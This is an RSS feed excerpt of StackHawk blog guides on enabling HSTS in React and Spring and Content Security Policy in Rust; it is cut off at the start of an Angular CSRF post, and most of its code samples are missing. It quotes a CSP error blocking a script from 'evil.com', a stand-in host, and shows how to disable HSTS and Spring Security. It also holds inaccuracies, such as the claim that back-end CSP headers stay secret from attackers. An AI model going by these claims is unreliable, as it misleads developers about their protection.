isPermaLink="false">https://www.stackhawk.com/lp/react-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;First of all, what is HTTP strict transport security (HSTS) and why do you need it? HSTS is a specific HTTP response header that tells the browser to load a site over HTTPS. The browser will do so whether the user uses the HTTP or the HTTPS protocol. Even if you have a redirect, it&amp;#39;s a good idea to set up HSTS since that initial plain text send from the browser to the HTTP endpoint remains vulnerable. That&amp;#39;s because the browser will still send any domain cookies to that endpoint—unless, of course, they&amp;#39;re set to &lt;b&gt;secure&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;In this post, you can read more about HSTS and how it relates to React apps. You&amp;#39;ll learn a few ways to enable it, whether you&amp;#39;re serving your app via Next.js, Express, or some other means. Note that the term &amp;quot;React.js&amp;quot; will be used at times rather than simply &amp;quot;React,&amp;quot; in order to distinguish it from the React ecosystem that includes React Native. First up: HSTS. &lt;/p&gt;&lt;h2&gt;More Info About HSTS&lt;/h2&gt;&lt;p&gt;The Internet Engineering Task Force (IETF) published the &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6797&quot;&gt;&lt;u&gt;HSTS spec&lt;/u&gt;&lt;/a&gt; in 2012. Members from Google, PayPal, and others designed HSTS as a way in which web servers could direct user agents to use HTTPS only. With HSTS enabled, users can&amp;#39;t bypass any issues with the certificate. &lt;/p&gt;&lt;p&gt;But the real reason for HSTS is to protect cookies—especially session cookies—from being hijacked when and if the site is first loaded over HTTP. It does this by telling browsers (user agents or UAs) to load the site only using HTTPS even when the user enters the HTTP URI scheme rather than HTTPS. Even if you redirect users from HTTP to HTTPS, the initial hit is over plain text and the cookies can be seen by attackers. &lt;/p&gt;&lt;p&gt;An HSTS header is relatively simple. It looks like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Strict-Transport-Security : max-age=3600 ; includeSubDomains&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The user agent will cache the HSTS policy for your domain for &lt;b&gt;max-age&lt;/b&gt; seconds. When the user visits your site, the browser will check for an HSTS policy. If it finds it, then boom! It uses HTTPS even if you went to http://example.com instead of https://example.com. &lt;/p&gt;&lt;p&gt;From now on we&amp;#39;re going to focus on enabling HSTS for React apps.&lt;/p&gt;&lt;h2&gt;Setting HSTS on the Web Server&lt;/h2&gt;&lt;p&gt;Setting HSTS headers on the web server is my first recommendation. Since this is not application code, it doesn&amp;#39;t really belong to the React app itself. This is in line with the principle of &lt;a href=&quot;https://en.wikipedia.org/wiki/Separation_of_concerns&quot;&gt;&lt;u&gt;separation of concerns&lt;/u&gt;&lt;/a&gt;, meaning you should keep separate concerns in their own domain. Servicing web traffic is the web server&amp;#39;s concern, not that of the application itself. &lt;/p&gt;&lt;p&gt;For example, if you&amp;#39;re using NGINX to serve your React.js app, you can set headers in NGINX. Add the following to the nginx.conf file:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This directive uses the &lt;a href=&quot;https://nginx.org/en/docs/http/ngx_http_headers_module.html&quot;&gt;&lt;u&gt;HTTP headers module&lt;/u&gt;&lt;/a&gt; to add arbitrary headers to responses. Other servers will have their own way to add headers, but it&amp;#39;s a common feature of web servers. Alternatively, most response headers can go at the server or location level. &lt;/p&gt;&lt;p&gt;You might instead be serving your React.js app via a CDN. You will still want to protect the user cookies by ensuring they&amp;#39;re sent only over HTTPS. This is true even if your app comes from a CDN. From my own travels, I know you can set up an Amazon S3 bucket to deliver an app payload, but this is not an HTTPS site by default. For HTTPS hosting you need to use &lt;a href=&quot;https://aws.amazon.com/premiumsupport/knowledge-center/cloudfront-https-requests-s3/&quot;&gt;&lt;u&gt;Amazon CloudFront&lt;/u&gt;&lt;/a&gt;. Even still, I looked into several popular CDNs (AWS, GCP, CloudFlare) and they don&amp;#39;t allow us to set the strict transport security header. So if you&amp;#39;re distributing your React.js app via a CDN, you might have other means at your disposal for making sure it&amp;#39;s only served via HTTPS. For example, CloudFront has the option to block HTTP traffic and only serve HTTPS. &lt;/p&gt;&lt;p&gt;Now, we&amp;#39;ve gone over a few options for client-side React.js. It&amp;#39;s fairly common, however, to do some kind of server-side rendering to deliver a React web app that&amp;#39;s locked, loaded, and ready to rock. Let&amp;#39;s see how to add the HSTS headers in an SSR&amp;#39;d React web app. &lt;/p&gt;&lt;h2&gt;How to Set HSTS in an SSR React App Like Next.js&lt;/h2&gt;&lt;p&gt;Next.js is a fairly common way to deliver a server-side-rendered React.js app. It even has its own server, which you should probably have behind something like NGINX or another production-grade load balancer anyway. But if you have some reason to add the HSTS in Next.js, you can definitely do it that way too. Here&amp;#39;s how to accomplish this feat!&lt;/p&gt;&lt;p&gt;In your app, open the next.config.js file and add the headers directive there like so: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/ProgrammerHumor/comments/27yykv/indent_hadouken/&quot;&gt;&lt;u&gt;Hadouken! ---&amp;gt;&amp;gt;))&lt;/u&gt;&lt;/a&gt; That&amp;#39;s a lot of indentation, but it&amp;#39;ll get the job done. You can add other site-wide headers there as needed too. But should you? The creators of Next.js think not. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://vercel.com/&quot;&gt;&lt;u&gt;Vercel&lt;/u&gt;&lt;/a&gt;, the official Next.js hosting solution, adds the HSTS headers automatically. Nothing to do there! I suspect they&amp;#39;re probably using something like NGINX behind the scenes to deliver your apps. If so, they&amp;#39;re probably setting it just as I&amp;#39;ve pointed out above in the NGINX config section. &lt;/p&gt;&lt;p&gt;ReactDOMServer is another approach to SSR, so let&amp;#39;s talk a bit about how you might add HSTS headers when you use ReactDOMServer. Well, if you&amp;#39;re using ReactDOMServer, you&amp;#39;re probably using something like Express to serve the rendered app. While it&amp;#39;s entirely possible to add custom headers to responses, there&amp;#39;s a more concise approach. A third-party middleware named &lt;a href=&quot;https://github.com/helmetjs/helmet&quot;&gt;&lt;u&gt;Helmet&lt;/u&gt;&lt;/a&gt; has the ability to add HSTS headers and many other security headers with the greatest of ease. Use Helmet for Express like this: &lt;/p&gt;&lt;p&gt;First, install while adding the dependency to package.json in one fell swoop: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i helmet --save&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, simply import and add the middleware: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Cannot Be Set Via Client-Side React&lt;/h2&gt;&lt;p&gt;You can&amp;#39;t set HSTS in client-side code since it&amp;#39;s a server response header. That said, you might be wondering if there&amp;#39;s anything you need to do with your client-side React.js code. In short: no. The response header is handled by the browser itself. This wouldn&amp;#39;t really apply to React Native apps where you should probably be using HTTPS in your URLs in any case. I usually recommend using a variable to hold the scheme and host of the API URLs so it&amp;#39;s quite a bit easier to change between different servers (e.g., dev and test servers). There isn&amp;#39;t much else to be said about client code, so let&amp;#39;s round this post off with a summary of the main points. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Summary of the Main Points&lt;/h2&gt;&lt;p&gt;At some level, you&amp;#39;ll need to set these headers on the server. Now, whether you are doing this on NGINX, a gateway, your hosting platform, or your preferred SSR server to set it is up to you. I prefer setting it up on the server alongside the TLS certificate. Since HSTS relates somewhat closely to the TLS cert, it makes the most sense to me to have it right in the same place. Even still, you have options so you can choose what&amp;#39;s best for your own situation. &lt;/p&gt;&lt;p&gt;One final important thing: be careful when setting this up! Your users might get stranded if you aren&amp;#39;t properly prepared. They won&amp;#39;t be able to click through the security gate in their browser. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Phil Vuollet. Phil leads software engineers on the path to high levels of productivity. He writes about topics relevant to technology and business, occasionally gives talks on the same topics, and is a family man who enjoys playing soccer and board games with his children.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;As the internet is becoming increasingly accessible to people, the number of attacks trying to steal personal information is on the rise. We, as developers, need to protect our users&amp;#39; data, and sometimes, the protection needs to start even before they reach our web application. &lt;/p&gt;&lt;p&gt;This post is about how we can protect our users when they first request our website using HTTP Strict Transport Security (HSTS). To illustrate this, we&amp;#39;ll build a sample app with Spring Boot and Java and walk through how to configure HSTS. We&amp;#39;ll also be using the Spring Security project. &lt;/p&gt;&lt;p&gt;But first, let&amp;#39;s learn a little more about what HSTS is and what kind of attack it prevents. &lt;/p&gt;&lt;h2&gt;What Is HSTS, and What Does It Protect Us From?&lt;/h2&gt;&lt;p&gt;HTTP Strict Transport Security (HSTS), as defined by the Internet Engineering Task Force (IETF)&amp;#39;s RFC6797, was designed to enforce that connections to a website may only occur within secure connections. This prevents browsers from just visiting the website using HTTP and then redirecting to HTTPS, as this may leave users vulnerable to man-in-the-middle attacks. But there&amp;#39;s a question that you may be asking yourself. &lt;/p&gt;&lt;p&gt;What is a man-in-the-middle (MitM) attack? &lt;/p&gt;&lt;p&gt;Imagine you&amp;#39;re in a coffee shop, and you connect to the Wi-Fi network called “BreWi-Fi.&amp;quot; You log in to your bank account to make sure you have funds for extra chocolate drizzle. Unbeknownst to you, that network is from an attacker that is pretending to be the router inside the café. To you, the experience will be transparent, but they now can log all your activity. They can see in plain sight your user credentials, traffic, and other information you may not want to be stolen. &lt;/p&gt;&lt;p&gt;Knowing what we want to protect against, let&amp;#39;s see how HSTS and Spring Security can help us. &lt;/p&gt;&lt;h2&gt;How Does Spring Security and HSTS Protect Users?&lt;/h2&gt;&lt;p&gt;Part of the Spring Project, Spring Security is the main component to handle security inside your application, including authentication and authorization. When you add Spring Security, it automatically adds a couple of security headers to the request. One of those headers is Strict-Transport-Security. &lt;/p&gt;&lt;p&gt;What this does is tell the browser that even if you don’t write the HTTPS protocol on the URL, the browser should enforce only using Transport Layer Security (TLS) for all its communication, instead of redirecting from the normal HTTP protocol. The reason for this is that, even if you&amp;#39;re automatically redirected to https://, an attacker may have a small window to place any script before leaving the HTTP site. &lt;/p&gt;&lt;p&gt;&lt;i&gt;As a caveat, the browser will still need to make the first request in HTTP, and then it will be added to the preload list. You can skip this step by going to &lt;/i&gt;&lt;a href=&quot;https://hstspreload.org/&quot;&gt;&lt;u&gt;&lt;i&gt;https://hstspreload.org/&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; and submitting your domain to be included in Chrome&amp;#39;s HSTS Preload List.&lt;/i&gt; &lt;/p&gt;&lt;p&gt;HSTS requires that your certificate comes directly from a certificate authority. You can use a service like &lt;a href=&quot;https://letsencrypt.org/&quot;&gt;&lt;u&gt;Let’s Encrypt&lt;/u&gt;&lt;/a&gt; to generate free certificates for this tutorial. &lt;/p&gt;&lt;h2&gt;Getting Started&lt;/h2&gt;&lt;p&gt;To start learning and configuring HSTS, we first need a sample Spring Boot project. The benefit of using Spring Boot over regular Spring is that you can get a lot of default configurations out of the box. Head over to &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;https://start.spring.io/&lt;/u&gt;&lt;/a&gt; and select Java as your language. Feel free to customize as you desire. Then, on the right-hand side, click on the button where it says “Add Dependencies” and select the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Spring Web&lt;/b&gt;: This allows us to create our web application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Spring Security&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Thymeleaf&lt;/b&gt;: This will be our template engine.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once you download the project, let’s first make sure the project runs. I built my demo using Gradle, but any commands needed will be provided for both Maven and Gradle. &lt;/p&gt;&lt;p&gt;Here is how the &lt;b&gt;build.gradle&lt;/b&gt; file looks: &lt;/p&gt;&lt;p&gt;And here is the &lt;b&gt;pom.xml &lt;/b&gt;file: &lt;/p&gt;&lt;h3&gt;Building the App&lt;/h3&gt;&lt;p&gt;In the root folder, run one of the following commands, depending on if you selected Maven or Gradle: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;To run the application: &lt;b&gt;mvn spring-boot:run &lt;/b&gt;(for Maven) or&lt;b&gt; ./gradlew bootRun&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;To only build the jar: &lt;b&gt;mvn clean package &lt;/b&gt;or&lt;b&gt; ./gradlew bootJar&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you prefer to manually run the jar file, after calling the build command, you can run &lt;b&gt;java -jar target/project-name.jar&lt;/b&gt; for Maven or&lt;b&gt; java -jar build/lib/project-name.jar &lt;/b&gt;for Gradle. &lt;/p&gt;&lt;p&gt;To confirm that Spring Security is being detected, you can see in your terminal a line with the text “Using generated security password:”. &lt;/p&gt;&lt;p&gt;When you open your browser, you might see a login form with the text “Please sign in.” The default username is &lt;b&gt;user&lt;/b&gt;, and the generated password is what appears in the terminal. Also, below that, you&amp;#39;ll see the Tomcat port in which the application is running; the default port is &lt;b&gt;:8080&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;If you don’t see the login form, don’t panic. As long as you see the “Using generated security password” line in your console, security has been configured. If you still want to see this page, in the following section, I&amp;#39;ll show you how to display it. &lt;/p&gt;&lt;p&gt;After logging in, the page will present you with a “Whitelabel Error Page.&amp;quot; If you look closely, it will say that there was an unexpected error and give you a 404 status. This is because no controller or view has been routed to the default &lt;b&gt;“/”&lt;/b&gt; domain. &lt;/p&gt;&lt;p&gt;Go to your &lt;b&gt;src/main/resources/templates&lt;/b&gt; folder and create a file called &lt;b&gt;home.html&lt;/b&gt; and write the following: &lt;/p&gt;&lt;p&gt;After reloading your project, open your browser. You should see the “Hello from Spring” message on the page. Right-click on the page and select &amp;quot;Inspect.&amp;quot; Then, depending on your browser, make your way to the network tab and select the localhost from the list. &lt;/p&gt;&lt;h3&gt;Exploring HSTS&lt;/h3&gt;&lt;p&gt;Now that we have a working project, let&amp;#39;s first check where we can see all the headers Spring Security provides us. &lt;/p&gt;&lt;p&gt;Click on the Headers tab, and you&amp;#39;ll see some of the default headers Spring Security adds. Not present is Strict-Transport-Security since it&amp;#39;s hosted locally. You can visit &lt;a href=&quot;https://spring.io/projects/spring-security&quot;&gt;&lt;u&gt;https://spring.io/projects/spring-security&lt;/u&gt;&lt;/a&gt; and perform the same steps, and you will see the header. You can also try this after deploying your website and using a certificate. &lt;/p&gt;&lt;p&gt;Then create a new &lt;b&gt;config&lt;/b&gt; package in your main project directory where your main Spring app is located, and inside create a file named &lt;b&gt;SecurityConfiguration&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;This class needs to extend the&lt;b&gt; WebSecurityConfigurerAdapter&lt;/b&gt;. This class allows us to be able to extend and config the default security settings. You&amp;#39;ll also need to add the &lt;b&gt;@EnableWebSecurity&lt;/b&gt; and &lt;b&gt;@Configuration&lt;/b&gt; annotations so that this class is picked up by Spring. &lt;/p&gt;&lt;p&gt;We need to override one of the configure methods, the one with the method signature of configure &lt;b&gt;(HttpSecurity http)&lt;/b&gt;. Here, we can chain options inside the &lt;b&gt;HTTP&lt;/b&gt; parameter to customize the &lt;b&gt;HTTP&lt;/b&gt; headers and requests. &lt;/p&gt;&lt;p&gt;If you were not met with the login page, here is where you would configure it to appear. As an example, here is how you would configure Spring to display the form: &lt;/p&gt;&lt;p&gt;&lt;b&gt;http.authorizeRequests().anyResquest().authenticated().and().formLogin().&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Here we&amp;#39;re telling the system to authorize the requests, that any request done to the website must be authenticated, and to display the login form. &lt;/p&gt;&lt;h3&gt;Configuring HSTS&lt;/h3&gt;&lt;p&gt;To configure HSTS, you need to extend the&lt;b&gt; http.headers().httpStrictTransportSecurity()&lt;/b&gt;. This provides three methods for you to customize your headers: &lt;b&gt;includeSubdomains()&lt;/b&gt;, &lt;b&gt;preload()&lt;/b&gt;,&lt;b&gt; maxAgeInSeconds()&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;maxAgeInSeconds()&lt;/b&gt; accepts an int. This is where you determine how long HSTS should last in the browser&amp;#39;s cache. If you want this preload to last six months, for example, you can set the value as 15,780,000. It&amp;#39;s recommended that the value be greater than 10,368,000 seconds (120 days). Some examples of the age could be as follows: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;0: This will instruct the browser to delete the HSTS policy&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;42 days: 3,628,800&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;6 months: 15,780,000&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;1 year: 31,536,000&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;2 years: 63,072,000&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;includeSubdomains()&lt;/b&gt; accepts a Boolean. It will tell the browser to include all subdomains (e.g., sampleA.example.com, sample.example.com). &lt;/p&gt;&lt;p&gt;&lt;i&gt;When referencing &lt;/i&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6797#section-7.2&quot;&gt;&lt;u&gt;&lt;i&gt;RCF6797&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;, they state that the developer should consider adding &lt;/i&gt;&lt;i&gt;&lt;b&gt;includeSubDomain&lt;/b&gt;&lt;/i&gt;&lt;i&gt; as long as the business requirements permit it.&lt;/i&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;preload()&lt;/b&gt; takes a Boolean. Here, the directive tells the HSTS preload list that you want to be included. According to the hstspreload website, this should be opt-in and, unless sure, should not be included in the header. Since the list is dependent on the release schedule of the browser, by the time it goes into the list, there might be a need to remove a subdomain, which can take a large amount of time. The default value is false. &lt;/p&gt;&lt;p&gt;Now that we know how to enable HSTS with Spring, there may be some testing cases in which you may want to disable the header. &lt;/p&gt;&lt;h3&gt;Disable HSTS&lt;/h3&gt;&lt;p&gt;To disable HSTS, inside your configure method, add the following: &lt;/p&gt;&lt;p&gt;&lt;b&gt;http.headers().httpStrictTransportSecurity().disable();&lt;/b&gt; &lt;/p&gt;&lt;p&gt;In some instances you might need to disable Spring Security without removing the package in its entirety. &lt;/p&gt;&lt;h3&gt;Disable Spring Security&lt;/h3&gt;&lt;p&gt;Removing the &lt;b&gt;@EnableWebSecurity&lt;/b&gt; annotation will not disable security for the package; it will default to the&lt;b&gt; SecurityAutoConfiguration&lt;/b&gt; class. If you want to disable it, you can add to your &lt;b&gt;application.properties&lt;/b&gt; file the following: &lt;/p&gt;&lt;p&gt;&lt;b&gt;spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.security.servlet.SecurityAutoConfiguration&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Or you can also disable it by excluding the package in your main app:&lt;/p&gt;&lt;p&gt;&lt;b&gt;@SpringBootApplication(exclude= {SecurityAutoConfiguration.class})&lt;/b&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Out of the box, Spring Security automatically protects against some of the more common security vulnerabilities. MitM attacks will become more common as people expect free Wi-Fi spots when they&amp;#39;re out and about. The HTTP Strict Transport Security (HSTS) minimizes the risk of exposing user information, and it being added by default is one less thing you need to worry about as a developer. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Kenneth Reyes. &lt;/i&gt;&lt;a href=&quot;http://portfolio.foocases.com&quot;&gt;&lt;u&gt;&lt;i&gt;Kenneth&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a Full stack developer that has worked in different industries and with clients of all levels. He specializes in Java/Spring, Vue, and DevOps. He strives to make programming interesting for people outside the field.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;A Content Security Policy (CSP) is a strategy that restricts how much access any request has to an application&amp;#39;s content. It also controls the inbound content from input forms and browser navigation bars. On a grand scale, a good CSP will protect your application from injection-based attacks such as &lt;a href=&quot;https://www.stackhawk.com/blog/rust-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;cross-site scripting (XSS.)&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;This post is a good launchpad for CSP implementations in your Rust applications. Rust is famed for memory safety, along with other attributes. This makes it easy for developers to assume security-level safety when deploying applications with Rust in the background. We&amp;#39;ll go in depth on the best ways to implement a Content Security Policy in Rust applications. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s start with contextualizing a Content Security Policy to the Rust programming language. &lt;/p&gt;&lt;h2&gt;What Is a Rust Content Security Policy?&lt;/h2&gt;&lt;p&gt;When deploying web applications into production, you can direct the browsers and user devices that&amp;#39;ll access the apps on &lt;i&gt;how &lt;/i&gt;best your content loads. For content security, we use &lt;b&gt;HTTP headers&lt;/b&gt;. When it comes to a Rust-built (back-end) application, we set these headers on the front end—often with specific directives that act as the first line of defense against malicious use of your application by hackers. &lt;/p&gt;&lt;p&gt;After implementation (on the front end), these headers follow the standard syntax: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: &amp;lt;first policy-directive&amp;gt;; &amp;lt;second policy-directive&amp;gt;;...; &amp;lt;nth policy-directive&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;However, you have the option to declare and set each policy with Rust code on the back end. This way, you get to call them as a function, and if you need to make changes, you&amp;#39;ll put them in effect once and they&amp;#39;ll apply throughout your application. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s how such an implementation looks when written on the back end in Rust-lang: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The snippet above declares a variable&lt;b&gt; csp_list&lt;/b&gt;, in which it packs all the directives for the application&amp;#39;s interaction with access platforms. When set, CSP directives often fire up errors in the console to help with debugging and scaling features in your applications. Let&amp;#39;s look at some of these errors and decipher them. &lt;/p&gt;&lt;h3&gt;Example CSP Errors&lt;/h3&gt;&lt;p&gt;For this section, we&amp;#39;ve pulled CSP error content from forums and development communities to cover more ground than we&amp;#39;d be able to simulate. Let&amp;#39;s get right into it. &lt;/p&gt;&lt;p&gt;Source: Content Security Policy, Google Developers Community&lt;/p&gt;&lt;p&gt;The error highlighted in bright red reads as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Refused to load script &amp;#39;http://evil.com/evil.js&amp;#39; because it violates the following Content Security directive: &amp;quot;script-src &amp;#39;self&amp;#39; https:apis.google.com&amp;quot;. &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This error message flags in the console because the specific application under inspection will have specified the &lt;b&gt;script-src &amp;#39;self&amp;#39;&lt;/b&gt; directive. This specific directive stops a web application from loading an external source of content. Here, it&amp;#39;s &lt;b&gt;&amp;#39;http://evil.com/evil.js&amp;#39;&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Every error is specific to the directive enforcing content security, as declared in the CSP headers. Consider the error below extracted from the Mozilla Foundation platform via console:&lt;/p&gt;&lt;p&gt;This report shows a single CSP error caused by the &lt;b&gt;font-src&lt;/b&gt; directive. This error persists unless the intended source is allowlisted under the CSP header declaration. &lt;/p&gt;&lt;h3&gt;CSP Directives You Should Know&lt;/h3&gt;&lt;p&gt;Debugging errors is all about knowing the limitations imposed by specific CSP directives. Source, or script, allowlisting only makes sense when you&amp;#39;re absolutely sure that your leniency won&amp;#39;t expose your users to threats in the aftermath. That said, let&amp;#39;s look at some directives and how they affect your Rust application&amp;#39;s access behavior. &lt;/p&gt;&lt;p&gt;At this point, you&amp;#39;ve already come across the &lt;b&gt;font-src&lt;/b&gt; and &lt;b&gt;script-src&lt;/b&gt; directives, both of which fall into the &lt;b&gt;fetch-directive&lt;/b&gt; category. As hinted by the &lt;b&gt;fetch&lt;/b&gt; keyword, these two directives and more in their category determine the source of scripts and content from which your Rust application can render. You can read the &lt;b&gt;-src&lt;/b&gt; part of a directive and know that it is of type &lt;b&gt;fetch&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Other fetch directives include the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;connect-src&lt;/b&gt;. This is a directive that limits the source of connection to trusted URLs. This way, you can&amp;#39;t have your Rust application loading content (or redirecting) from a different destination than itself, as is the case when hackers launch cross-site scripting attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;image-src&lt;/b&gt;. This directive limits the images loaded on your web application to known sources. Often this is one source: the application storage location.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;frame-src. &lt;/b&gt;With frames capable of loading external content into your application (iframes), this directive averts the possibility of nesting malicious content into your own. Limiting the trusted sources range makes iframe source alterations a futile-cross scripting effort.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The same specific limitations count with the rest of the fetch directives: &lt;b&gt;media-src&lt;/b&gt;, &lt;b&gt;style-src&lt;/b&gt;, &lt;b&gt;script-src&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Other directive types include &lt;i&gt;document&lt;/i&gt;, &lt;i&gt;navigation&lt;/i&gt;, and &lt;i&gt;reporting&lt;/i&gt; policies. Their purposes are to manage the environment, how users interact with the application, and the actual error reporting process itself, respectively.&lt;/p&gt;&lt;h2&gt;How to Implement CSP in Rust&lt;/h2&gt;&lt;p&gt;As you may have gathered by now, each CSP directive forms an invisible fence around the application. Specific to Rust applications, you have two CSP implementation options: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;You can have the headers bare and declared on the front end. These appear as HTML, revealing to anyone clever enough to inspect your document source just what you have enforced and what you allow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Or you can use CSP crates and raw code on the back end of your Rust application. This route makes more sense from security and usability standpoints as your directives remain a secret to any hackers.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;We&amp;#39;ll discuss the back-end Rust CSP implementation method that takes the least effort, and yet covers as many directives as you need: applying CSP crates to your application. &lt;/p&gt;&lt;h3&gt;Rust CSP Crates&lt;/h3&gt;&lt;p&gt;Crates are a good way of adding features to your Rust application without having to write lengthy blocks of code on your own—avoiding the &lt;i&gt;reinventing of the wheel&lt;/i&gt; scenario. Even when you need to apply custom variables, using crates is a good starting point when building robust applications. However, be sure to test all crates before you patch your code with theirs. &lt;/p&gt;&lt;p&gt;With the above in mind, consider the implementation example shown below. The aim is to add CSP headers using the  &lt;a href=&quot;https://github.com/rust-ammonia/rust-content-security-policy&quot;&gt;&lt;u&gt;Rust Ammonia package/crate&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;The first step in the process is to add the crate as a dependency in the &lt;b&gt;cargo.toml&lt;/b&gt; file of your Rust project.&lt;/p&gt;&lt;p&gt;&lt;code&gt;[dependencies]
content-security-policy = &amp;quot;0.4.2&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s review the &lt;b&gt;content-security-policy&lt;/b&gt; implementation instance below. As you read, pick out the directives and their states as you build out the resulting headers. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Declaring your Rust CSP headers this way and tucking the files in the back end is a safety-first coding practice. By no means does this mean you can relax thereafter. CSP is not supposed to be the only header in your security arsenal. Rather, it forms part of an elaborate security scheme that involves other headers like the HSTS to compound your Rust application&amp;#39;s security. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion: Enforcing Rust Content Security Policy&lt;/h2&gt;&lt;p&gt;As you add to your security-first coding practices, check any new feature additions for compliance with your CSP directives. You could do this manually with every code review and testing iteration. However, you risk losing time and even some vulnerabilities escaping into production. Using &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;StackHawk tools&lt;/u&gt;&lt;/a&gt; makes it certain that no security flaws escape into your live environment with time. This way, you can assure the best user experience as your user base grows (which includes hackers too). &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;i&gt;Taurai&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular CSRF Protection Guide: Examples and How to Enable It]]></title><guid 